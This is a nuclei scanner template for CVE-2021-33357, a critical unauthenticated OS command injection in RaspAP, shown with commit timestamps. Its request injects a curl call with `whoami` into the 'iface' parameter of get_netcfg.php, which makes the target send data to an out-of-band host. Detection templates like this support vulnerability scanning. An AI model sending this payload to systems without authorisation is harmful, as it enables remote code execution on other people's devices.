nuclei-templates/cves/2021/CVE-2021-33357.yaml

36 lines
1.2 KiB
YAML
Raw Normal View History

2021-10-03 12:37:22 +00:00
id: CVE-2021-33357
info:
2021-10-03 20:37:21 +00:00
name: RaspAP <= 2.6.5 - Remote Code Execution
author: pikpikcu,pdteam
2021-10-03 12:37:22 +00:00
severity: critical
reference:
2021-10-03 20:37:21 +00:00
- https://checkmarx.com/blog/chained-raspap-vulnerabilities-grant-root-level-access/
2021-10-03 12:37:22 +00:00
- https://gist.github.com/omriinbar/52c000c02a6992c6ce68d531195f69cf
2021-10-03 20:37:21 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-33357
- https://github.com/RaspAP/raspap-webgui
2021-10-03 12:37:22 +00:00
description: RaspAP 2.6 to 2.6.5 in the "iface" GET parameter in /ajax/networking/get_netcfg.php, when the "iface" parameter value contains special characters such as ";" which enables an unauthenticated attacker to execute arbitrary OS commands.
2021-10-18 20:40:26 +00:00
tags: cve,cve2021,rce,raspap,oast
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2021-33357
cwe-id: CWE-78
2021-10-03 12:37:22 +00:00
requests:
- method: GET
path:
2021-10-03 20:37:21 +00:00
- "{{BaseURL}}/ajax/networking/get_netcfg.php?iface=;curl%20http://{{interactsh-url}}/`whoami`;"
2021-10-03 12:37:22 +00:00
matchers:
2021-10-03 20:37:21 +00:00
- type: word
part: interactsh_protocol
words:
- "http"
extractors:
2021-10-03 17:11:42 +00:00
- type: regex
2021-10-03 20:37:21 +00:00
part: interactsh_request
group: 1
2021-10-03 17:11:42 +00:00
regex:
2021-10-03 20:37:21 +00:00
- 'GET \/([a-z-]+) HTTP'